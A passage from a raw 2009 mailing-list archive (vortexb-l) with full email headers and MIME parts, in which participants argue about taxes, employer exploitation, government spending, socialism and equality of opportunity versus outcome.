(even in a zero-sum system) much less than the ~50% extracted by government in direct taxes and indirect inflation. Government is the super-exploiter. On Fri, May 29, 2009 at 10:23 AM, leaking pen wrote: > THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! > > How is it not? Employers, the big ones, get corporate tax breaks, > government kickbacks for building and bringing in jobs and "boosting > the economy". Roads that are mostly used and used up by freight > trucks are paid for and repaired by funds that come from the average > citizen, especially taxes on gasoline (which, being a business makes > you immune to such taxes). Large companies get a po box in the > caymans that protects them from additional tax. How is large scale > employers, making billions in profit a yeah, basically cheating the > system to not pay taxes on money they would never have made without > the governments help in the first place, and that cost then being > passed on to the rest of us, NOT exploitation by the employer? > > and thats before we talk about companies like walmart, that make sure > most of their employees are just part time enough to never get > benefits, but then hire a person to help their employees enroll in > medicaid, rather than having medical insurance plans available... > > On Fri, May 29, 2009 at 7:12 AM, Jeff Fink wrote: > > When you have equality of opportunity, some will act on the opportunity > and > > some will not. The industrious will prosper more than the lazy. Some = on > > this forum will say that the resulting disparity in wealth is unfair, a= nd > > that the wealth of the industrious individuals must be taken and given = to > > those who have less. This process is a move toward equalizing outcome, > and > > is embodied by the graduated income tax system, where achievers are > > liberated of their achievement at an ever higher percentage based on > their > > success. > > > > Some of the needy truly need help, but many are merely milking the > system. > > > > Where is freedom if hard working people are looted to give free rides t= o > > slackers. We hear the Marxist axiom "From him according to his ability > to > > him according to his need." How much can you bleed the workers with tax= es > > before they revolt. The US worker is not unhappy about the size of his > > paycheck as much as he is unhappy about how little of it he is allowed = to > > keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! > > > > If we are truly free, some people will outperform others. If we are > forced > > to be equal (equal pay for unequal effort), nobody gets ahead, we all > give > > up trying. The result is not sharing the wealth, but equally sharing t= he > > misery. > > > > In a planned economy, who gets to do the planning? Who does all the > work? > > It has always been and always will be the case that the quality of life > of > > the planners will be far better than the life of the planee. There wil= l > be > > no equality between these two groups. Central planning means micro > > managing, which is inefficient, error prone, and ultimately punishes > > achievers. > > > > Jeff. > > > > -----Original Message----- > > From: leaking pen [mailto:itsatrap@gmail.com] > > Sent: Thursday, May 28, 2009 4:59 PM > > To: vortexb-l@eskimo.com > > Subject: Re: [VoB]:freedom and/or equality > > > > No, as all rights automatically include a duty with them. If everyone > > has the right to free speech, then everyone automatically has a duty > > to protect and not infringe anothers free speech. Ethics 101 my man. > > > > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrote: > >> The only thing I see as the difference after checking my dictionary is > > that > >> an opportunity is a chance whereas a liberty is supposed to be a right= . > > As > >> rights go, what we have on paper and what we have in actuality is not > >> necessarily the same. > >> > >> Have you considered the possibility that freedom and equality are > mutually > >> exclusive concepts. > >> > >> Jeff > >> > >> -----Original Message----- > >> From: leaking pen [mailto:itsatrap@gmail.com] > >> Sent: Thursday, May 28, 2009 1:19 PM > >> To: vortexb-l@eskimo.com > >> Subject: Re: [VoB]:freedom and/or equality > >> > >> This. I fail to see a difference. > >> > >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: > >>> What is the difference between opportunity and liberty in your opinio= n? > >>> > >>> Jeff > >>> > >>> -----Original Message----- > >>> From: Harry Veeder [mailto:hveeder@ncf.ca] > >>> Sent: Thursday, May 28, 2009 12:16 PM > >>> To: vortexb-l@eskimo.com > >>> Subject: Re: [VoB]:freedom and/or equality > >>> > >>> neither. > >>> I prefer equal liberty. > >>> > >>> Harry > >>> > >>> ----- Original Message ----- > >>> From: Jeff Fink > >>> Date: Thursday, May 28, 2009 11:31 am > >>> Subject: [VoB]:freedom and/or equality > >>> > >>>> Would you prefer to live in a society that guarantees equal > >>>> opportunity, or > >>>> one that guarantees equal outcome? > >>>> > >>>> > >>>> > >>>> Jeff > >>>> > >>>> > >>> > >>> > >>> > >>> > >> > >> > >> > >> > > > > > > > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --000e0cd1ea6efcf2fa046b2cdc0d Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Is it really possible that employers extract more than the government does?= If the accounting is performed, I'm sure you'll find employer extr= action of surplus (even in a zero-sum system) much less than the ~50% extra= cted by government in direct taxes and indirect inflation. Government is th= e super-exploiter.


On Fri, May 29, 2009 at 10:23 AM, leakin= g pen <itsatrap@= gmail.com> wrote:
THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER!

How is it not? =A0Employers, the big ones, get corporate tax breaks,<= br> government kickbacks for building and bringing in jobs and "boosting the economy". =A0Roads that are mostly used and used up by freight
trucks are paid for and repaired by funds that come from the average
citizen, especially taxes on gasoline (which, being a business makes
you immune to such taxes). =A0Large companies get a po box in the
caymans that protects them from additional tax. =A0How is large scale
employers, making billions in profit a yeah, basically cheating the
system to not pay taxes on money they would never have made without
the governments help in the first place, and that cost then being
passed on to the rest of us, NOT exploitation by the employer?

and thats before we talk about companies like walmart, that make sure
most of their employees are just part time enough to never get
benefits, but then hire a person to help their employees enroll in
medicaid, rather than having medical insurance plans available...

On Fri, May 29, 2009 at 7:12 AM, Jeff Fink <revtec@ptd.net> wrote:
> When you have equality of opportunity, some will act on the opportunit= y and
> some will not. =A0The industrious will prosper more than the lazy. =A0= Some on
> this forum will say that the resulting disparity in wealth is unfair, = and
> that the wealth of the industrious individuals must be taken and given= to
> those who have less. =A0This process is a move toward equalizing outco= me, and
> is embodied by the graduated income tax system, where achievers are > liberated of their achievement at an ever higher percentage based on t= heir
> success.
>
> Some of the needy truly need help, but many are merely milking the sys= tem.
>
> Where is freedom if hard working people are looted to give free rides = to
> slackers. =A0We hear the Marxist axiom "From him according to his= ability to
> him according to his need." How much can you bleed the workers wi= th taxes
> before they revolt. =A0The US worker is not unhappy about the size of = his
> paycheck as much as he is unhappy about how little of it he is allowed= to
> keep. =A0THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER!
>
> If we are truly free, some people will outperform others. =A0If we are= forced
> to be equal (equal pay for unequal effort), nobody gets ahead, we all = give
> up trying. =A0The result is not sharing the wealth, but equally sharin= g the
> misery.
>
> In a planned economy, who gets to do the planning? =A0Who does all the= work?
> It has always been and always will be the case that the quality of lif= e of
> the planners will be far better than the life of the planee. =A0There = will be
> no equality between these two groups. =A0Central planning means micro<= br> > managing, which is inefficient, error prone, and ultimately punishes > achievers.
>
> Jeff.
>
> -----Original Message-----
> From: leaking pen [mailto:itsatr= ap@gmail.com]
> Sent: Thursday, May 28, 2009 4:59 PM
> To: vortexb-l@eskimo.com > Subject: Re: [VoB]:freedom and/or equality
>
> No, as all rights automatically include a duty with them. =A0If everyo= ne
> has the right to free speech, then everyone automatically has a duty > to protect and not infringe anothers free speech. =A0Ethics 101 my man= .
>
> On Thu, May 28, 2009 at 1:19 PM, Jeff Fink <revtec@ptd.net> wrote:
>> The only thing I see as the difference after checking my dictionar= y is
> that
>> an opportunity is a chance whereas a liberty is supposed to be a r= ight.
> =A0As
>> rights go, what we have on paper and what we have in actuality is = not
>> necessarily the same.
>>
>> Have you considered the possibility that freedom and equality are = mutually
>> exclusive concepts.
>>
>> Jeff
>>
>> -----Original Message-----
>> From: leaking pen [mailto:it= satrap@gmail.com]
>> Sent: Thursday, May 28, 2009 1:19 PM
>> To: vortexb-l@eskimo.com
>> Subject: Re: [VoB]:freedom and/or equality
>>
>> This. =A0I fail to see a difference.
>>
>> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink <revtec@ptd.net> wrote:
>>> What is the difference between opportunity and liberty in your= opinion?
>>>
>>> Jeff
>>>
>>> -----Original Message-----
>>> From: Harry Veeder [mailto:h= veeder@ncf.ca]
>>> Sent: Thursday, May 28, 2009 12:16 PM
>>> To: vortexb-l@eskimo.c= om
>>> Subject: Re: [VoB]:freedom and/or equality
>>>
>>> neither.
>>> I prefer equal liberty.
>>>
>>> Harry
>>>
>>> ----- Original Message -----
>>> From: Jeff Fink <revtec@p= td.net>
>>> Date: Thursday, May 28, 2009 11:31 am
>>> Subject: [VoB]:freedom and/or equality
>>>
>>>> Would you prefer to live in a society that guarantees equa= l
>>>> opportunity, or
>>>> one that guarantees equal outcome?
>>>>
>>>>
>>>>
>>>> Jeff
>>>>
>>>>
>>>
>>>
>>>
>>>
>>
>>
>>
>>
>
>
>
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--000e0cd1ea6efcf2fa046b2cdc0d-- From vortexb-l-request@eskimo.com Sat May 30 23:39:07 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4V6d5fm031439; Sat, 30 May 2009 23:39:05 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4V6d3GI031427; Sat, 30 May 2009 23:39:03 -0700 Resent-Date: Sat, 30 May 2009 23:39:03 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=LOHW9YNMc2/cc2eV8ZeD6wPPir+mxVNdBcAOV6o08g4=; b=mYvl3h2SVsbwSWpK0UAOsIbTWEJ4Y++JW8uVgZQZoQ4OPZGOz+ukBEKcCsDxyIStwx wnzjQekHU4dT8o0c3kBZa8YBIuSZFNjI/iuXhubep93dBy+7DBeWGb5QhYbn1+TWrD0+ BOzWmPSMGxiOnbsa7EvmW9jmfS7vN1AyB7NtY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=PeWkc+tIuQwhVVBAzTENZvUXfkJWwEVnOjf+y3eEMZmrxgSGqxiVKuoz/JGrTrXK60 U+9jS3S6y3Lf1UoGalB2tvTtEQWa3CQLu2KyEP2IWlBikeVnR8ikoNhbL/imRkTaP7Yo EjNpkVzUOaYxgm/xlrcXH/hx8oY/E9mu5EO3A= MIME-Version: 1.0 In-Reply-To: <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> Date: Sat, 30 May 2009 23:39:03 -0700 Message-ID: Subject: Re: [VoB]:freedom and/or equality From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4276 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 518 Except that teh companies are getting that money FROM the government. Its the same money. if companies werent getting these exorbitant bonueses and kickbacks and breaks, income tax wouldn't be as high. as for tax amount, i would LOVE if my taxes were 50 percent. To even reach that point, it would mean, after taxes, i was taking home about 10 times what i do now. On Sat, May 30, 2009 at 8:25 PM, Charles HOPE wrote: > Is it really possible that employers extract more than the government doe= s? > If the accounting is performed, I'm sure you'll find employer extraction = of > surplus (even in a zero-sum system) much less than the ~50% extracted by > government in direct taxes and indirect inflation. Government is the > super-exploiter. > > > On Fri, May 29, 2009 at 10:23 AM, leaking pen wrote: >> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> >> How is it not? Employers, the big ones, get corporate tax breaks, >> government kickbacks for building and bringing in jobs and "boosting >> the economy". Roads that are mostly used and used up by freight >> trucks are paid for and repaired by funds that come from the average >> citizen, especially taxes on gasoline (which, being a business makes >> you immune to such taxes). Large companies get a po box in the >> caymans that protects them from additional tax. How is large scale >> employers, making billions in profit a yeah, basically cheating the >> system to not pay taxes on money they would never have made without >> the governments help in the first place, and that cost then being >> passed on to the rest of us, NOT exploitation by the employer? >> >> and thats before we talk about companies like walmart, that make sure >> most of their employees are just part time enough to never get >> benefits, but then hire a person to help their employees enroll in >> medicaid, rather than having medical insurance plans available... >> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink wrote: >> > When you have equality of opportunity, some will act on the opportunit= y >> > and >> > some will not. The industrious will prosper more than the lazy. Some >> > on >> > this forum will say that the resulting disparity in wealth is unfair, >> > and >> > that the wealth of the industrious individuals must be taken and given >> > to >> > those who have less. This process is a move toward equalizing outcome= , >> > and >> > is embodied by the graduated income tax system, where achievers are >> > liberated of their achievement at an ever higher percentage based on >> > their >> > success. >> > >> > Some of the needy truly need help, but many are merely milking the >> > system. >> > >> > Where is freedom if hard working people are looted to give free rides = to >> > slackers. We hear the Marxist axiom "From him according to his abilit= y >> > to >> > him according to his need." How much can you bleed the workers with >> > taxes >> > before they revolt. The US worker is not unhappy about the size of hi= s >> > paycheck as much as he is unhappy about how little of it he is allowed >> > to >> > keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! >> > >> > If we are truly free, some people will outperform others. If we are >> > forced >> > to be equal (equal pay for unequal effort), nobody gets ahead, we all >> > give >> > up trying. The result is not sharing the wealth, but equally sharing >> > the >> > misery. >> > >> > In a planned economy, who gets to do the planning? Who does all the >> > work? >> > It has always been and always will be the case that the quality of lif= e >> > of >> > the planners will be far better than the life of the planee. There wi= ll >> > be >> > no equality between these two groups. Central planning means micro >> > managing, which is inefficient, error prone, and ultimately punishes >> > achievers. >> > >> > Jeff. >> > >> > -----Original Message----- >> > From: leaking pen [mailto:itsatrap@gmail.com] >> > Sent: Thursday, May 28, 2009 4:59 PM >> > To: vortexb-l@eskimo.com >> > Subject: Re: [VoB]:freedom and/or equality >> > >> > No, as all rights automatically include a duty with them. If everyone >> > has the right to free speech, then everyone automatically has a duty >> > to protect and not infringe anothers free speech. Ethics 101 my man. >> > >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrote: >> >> The only thing I see as the difference after checking my dictionary i= s >> > that >> >> an opportunity is a chance whereas a liberty is supposed to be a righ= t. >> > As >> >> rights go, what we have on paper and what we have in actuality is not >> >> necessarily the same. >> >> >> >> Have you considered the possibility that freedom and equality are >> >> mutually >> >> exclusive concepts. >> >> >> >> Jeff >> >> >> >> -----Original Message----- >> >> From: leaking pen [mailto:itsatrap@gmail.com] >> >> Sent: Thursday, May 28, 2009 1:19 PM >> >> To: vortexb-l@eskimo.com >> >> Subject: Re: [VoB]:freedom and/or equality >> >> >> >> This. I fail to see a difference. >> >> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: >> >>> What is the difference between opportunity and liberty in your >> >>> opinion? >> >>> >> >>> Jeff >> >>> >> >>> -----Original Message----- >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca] >> >>> Sent: Thursday, May 28, 2009 12:16 PM >> >>> To: vortexb-l@eskimo.com >> >>> Subject: Re: [VoB]:freedom and/or equality >> >>> >> >>> neither. >> >>> I prefer equal liberty. >> >>> >> >>> Harry >> >>> >> >>> ----- Original Message ----- >> >>> From: Jeff Fink >> >>> Date: Thursday, May 28, 2009 11:31 am >> >>> Subject: [VoB]:freedom and/or equality >> >>> >> >>>> Would you prefer to live in a society that guarantees equal >> >>>> opportunity, or >> >>>> one that guarantees equal outcome? >> >>>> >> >>>> >> >>>> >> >>>> Jeff >> >>>> >> >>>> >> >>> >> >>> >> >>> >> >>> >> >> >> >> >> >> >> >> >> > >> > >> > >> > >> > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > From vortexb-l-request@eskimo.com Sun May 31 02:01:06 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4V9142V026191; Sun, 31 May 2009 02:01:04 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4V910Y3026161; Sun, 31 May 2009 02:01:00 -0700 Resent-Date: Sun, 31 May 2009 02:01:00 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: Date: Sun, 31 May 2009 05:00:58 -0400 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00CA_01C9E1AC.C9381490" X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnhzlAEBziWg3FcRwqB5YteQjus1Q== Resent-Message-ID: <9b8Z5C.A.nYG.MdkIKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4277 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:the real danger Status: O X-Status: X-Keywords: X-UID: 519 This is a multi-part message in MIME format. ------=_NextPart_000_00CA_01C9E1AC.C9381490 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit A government in total control of its citizens is a government out of control. Can a good government rescue abused workers from an out of control corporation? Absolutely. Can a good corporation rescue abused citizens from an out of control government? Not a chance. So, where is the real danger, big business, or big government? And, what is the biggest danger of all, when big gov and big biz become one and the same. It is happening now as General Motors becomes Government Motors. Jeff P.S. In communist countries, big gov and big biz are always one and the same. ------=_NextPart_000_00CA_01C9E1AC.C9381490 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

A government in total control of its citizens is a government out of control.

 

Can a good government rescue abused workers from an = out of control corporation?  Absolutely.

 

Can a good corporation rescue abused citizens from an = out of control government?  Not a chance.

 

So, where is the real danger, big business, or big government?

 

And, what is the biggest danger of all, when big gov = and big biz become one and the same.

 

It is happening now as General Motors becomes = Government Motors.

 

Jeff

 

P.S.  In communist countries, big gov and big = biz are always one and the same.

------=_NextPart_000_00CA_01C9E1AC.C9381490-- From vortexb-l-request@eskimo.com Sun May 31 19:41:49 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n512fldm012061; Sun, 31 May 2009 19:41:47 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n512fhrl012033; Sun, 31 May 2009 19:41:43 -0700 Resent-Date: Sun, 31 May 2009 19:41:43 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 31 May 2009 19:41:36 -0700 From: grok To: vortexb-l@eskimo.com Cc: jedrothwell@gmail.com, hveeder@ncf.ca Message-ID: <20090601024135.GA25643@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Karakorum, KYV-5, Nakpadon, NCIS, Ufologico Nazionale User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4278 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:H. G. Wells describes our predicament in 1913 Status: O X-Status: X-Keywords: X-UID: 520 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > Without cold fusion, I do anticipate many many conventional wars in the > middle of the 21st century fighting over oil, and water, like the last two > wars we fought in Iraq. > > And if the spirit of the anti-cold fusion, anti-science fanatics prevails, > then in the more distant future I expect wars over food and land, fought > with sticks and rocks. Things tend to either progress or regress. > Civilization seldom remains in stasis for long. > > - Jed And, as usual, you people simply cannot conceive that it is your capitalist system -- and not "human nature", nor supposed "limits to growth" -- which is the sole real limiting factor here. And that socialism is the answer and the key to all future advance -- including the equitable and democratic distribution of the benefits of scientific research and teknologikal development. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkojP98ACgkQXo3EtEYbt3H8sgCfd2Zl7ZjzK3+YYQCDnnnTkDSn 6uUAn10MVrjYuIR3mblxpjOBUiS6XnMN =Hi9T -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 31 21:29:28 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n514TEdM014801; Sun, 31 May 2009 21:29:19 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n514TDvJ014794; Sun, 31 May 2009 21:29:13 -0700 Resent-Date: Sun, 31 May 2009 21:29:13 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=4I0i1HmYfsblZypbKogJbSzuaLXOPahOfPnO9w0Ukuo=; b=njIpP5Cybn5ji7dzNw3MULj1uqPWsy3v7lcznPU7yvB2I2UBAN9AzT96lpjBb6LAq0 UETLQiWnA7FCf/CmMZKbVOndKbc4ewaSkzuxixo1dv2wzd2uN2QC/uwYub74Zlg+BQNb 0lEh8X9ftSCP7goXjrhHKqLekRb0K+RM4HfGE= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=CUHGAaGHbbtOyrf97PRCdd582V3VEuh0i53GLEy/lI4DKlrSmMw3ruHsRQGXAdOmu6 YpHmaf3039echlQghTT1gCFpLWUVR2oCzzM3/h60dENuzOI7F79ABk+Sorp5bpl8T/x/ UrxbKNcSIzR3UIWW2dEtWC4wmifFqPnL/Qryg= MIME-Version: 1.0 In-Reply-To: References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> From: Charles HOPE Date: Mon, 1 Jun 2009 00:28:52 -0400 Message-ID: <63ffa6020905312128t161cf947gbb50e908a065f7a1@mail.gmail.com> Subject: Re: [VoB]:freedom and/or equality To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c18ba38af73046b41de88 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4279 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 521 --0015174c18ba38af73046b41de88 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Your taxes aren't high because of corporate tax breaks but the myriad services government is expected to provide. Our domestic spending is ridiculous, and we are paying for 700 foreign army bases in 130 countries. If corporations were taxed, it would do nothing raise prices for consumers. On Sun, May 31, 2009 at 2:39 AM, leaking pen wrote: > Except that teh companies are getting that money FROM the government. > Its the same money. if companies werent getting these exorbitant > bonueses and kickbacks and breaks, income tax wouldn't be as high. as > for tax amount, i would LOVE if my taxes were 50 percent. To even > reach that point, it would mean, after taxes, i was taking home about > 10 times what i do now. > > On Sat, May 30, 2009 at 8:25 PM, Charles HOPE > wrote: > > Is it really possible that employers extract more than the government > does? > > If the accounting is performed, I'm sure you'll find employer extractio= n > of > > surplus (even in a zero-sum system) much less than the ~50% extracted b= y > > government in direct taxes and indirect inflation. Government is the > > super-exploiter. > > > > > > On Fri, May 29, 2009 at 10:23 AM, leaking pen > wrote: > >> > >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! > >> > >> How is it not? Employers, the big ones, get corporate tax breaks, > >> government kickbacks for building and bringing in jobs and "boosting > >> the economy". Roads that are mostly used and used up by freight > >> trucks are paid for and repaired by funds that come from the average > >> citizen, especially taxes on gasoline (which, being a business makes > >> you immune to such taxes). Large companies get a po box in the > >> caymans that protects them from additional tax. How is large scale > >> employers, making billions in profit a yeah, basically cheating the > >> system to not pay taxes on money they would never have made without > >> the governments help in the first place, and that cost then being > >> passed on to the rest of us, NOT exploitation by the employer? > >> > >> and thats before we talk about companies like walmart, that make sure > >> most of their employees are just part time enough to never get > >> benefits, but then hire a person to help their employees enroll in > >> medicaid, rather than having medical insurance plans available... > >> > >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink wrote: > >> > When you have equality of opportunity, some will act on the > opportunity > >> > and > >> > some will not. The industrious will prosper more than the lazy. So= me > >> > on > >> > this forum will say that the resulting disparity in wealth is unfair= , > >> > and > >> > that the wealth of the industrious individuals must be taken and giv= en > >> > to > >> > those who have less. This process is a move toward equalizing > outcome, > >> > and > >> > is embodied by the graduated income tax system, where achievers are > >> > liberated of their achievement at an ever higher percentage based on > >> > their > >> > success. > >> > > >> > Some of the needy truly need help, but many are merely milking the > >> > system. > >> > > >> > Where is freedom if hard working people are looted to give free ride= s > to > >> > slackers. We hear the Marxist axiom "From him according to his > ability > >> > to > >> > him according to his need." How much can you bleed the workers with > >> > taxes > >> > before they revolt. The US worker is not unhappy about the size of > his > >> > paycheck as much as he is unhappy about how little of it he is allow= ed > >> > to > >> > keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! > >> > > >> > If we are truly free, some people will outperform others. If we are > >> > forced > >> > to be equal (equal pay for unequal effort), nobody gets ahead, we al= l > >> > give > >> > up trying. The result is not sharing the wealth, but equally sharin= g > >> > the > >> > misery. > >> > > >> > In a planned economy, who gets to do the planning? Who does all the > >> > work? > >> > It has always been and always will be the case that the quality of > life > >> > of > >> > the planners will be far better than the life of the planee. There > will > >> > be > >> > no equality between these two groups. Central planning means micro > >> > managing, which is inefficient, error prone, and ultimately punishes > >> > achievers. > >> > > >> > Jeff. > >> > > >> > -----Original Message----- > >> > From: leaking pen [mailto:itsatrap@gmail.com] > >> > Sent: Thursday, May 28, 2009 4:59 PM > >> > To: vortexb-l@eskimo.com > >> > Subject: Re: [VoB]:freedom and/or equality > >> > > >> > No, as all rights automatically include a duty with them. If everyo= ne > >> > has the right to free speech, then everyone automatically has a duty > >> > to protect and not infringe anothers free speech. Ethics 101 my man= . > >> > > >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrote: > >> >> The only thing I see as the difference after checking my dictionary > is > >> > that > >> >> an opportunity is a chance whereas a liberty is supposed to be a > right. > >> > As > >> >> rights go, what we have on paper and what we have in actuality is n= ot > >> >> necessarily the same. > >> >> > >> >> Have you considered the possibility that freedom and equality are > >> >> mutually > >> >> exclusive concepts. > >> >> > >> >> Jeff > >> >> > >> >> -----Original Message----- > >> >> From: leaking pen [mailto:itsatrap@gmail.com] > >> >> Sent: Thursday, May 28, 2009 1:19 PM > >> >> To: vortexb-l@eskimo.com > >> >> Subject: Re: [VoB]:freedom and/or equality > >> >> > >> >> This. I fail to see a difference. > >> >> > >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: > >> >>> What is the difference between opportunity and liberty in your > >> >>> opinion? > >> >>> > >> >>> Jeff > >> >>> > >> >>> -----Original Message----- > >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca] > >> >>> Sent: Thursday, May 28, 2009 12:16 PM > >> >>> To: vortexb-l@eskimo.com > >> >>> Subject: Re: [VoB]:freedom and/or equality > >> >>> > >> >>> neither. > >> >>> I prefer equal liberty. > >> >>> > >> >>> Harry > >> >>> > >> >>> ----- Original Message ----- > >> >>> From: Jeff Fink > >> >>> Date: Thursday, May 28, 2009 11:31 am > >> >>> Subject: [VoB]:freedom and/or equality > >> >>> > >> >>>> Would you prefer to live in a society that guarantees equal > >> >>>> opportunity, or > >> >>>> one that guarantees equal outcome? > >> >>>> > >> >>>> > >> >>>> > >> >>>> Jeff > >> >>>> > >> >>>> > >> >>> > >> >>> > >> >>> > >> >>> > >> >> > >> >> > >> >> > >> >> > >> > > >> > > >> > > >> > > >> > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174c18ba38af73046b41de88 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Your taxes aren't high because of corporate tax breaks but the myriad s= ervices government is expected to provide. Our domestic spending is ridicul= ous, and we are paying for 700 foreign army bases in 130 countries. If corp= orations were taxed, it would do nothing raise prices for consumers.




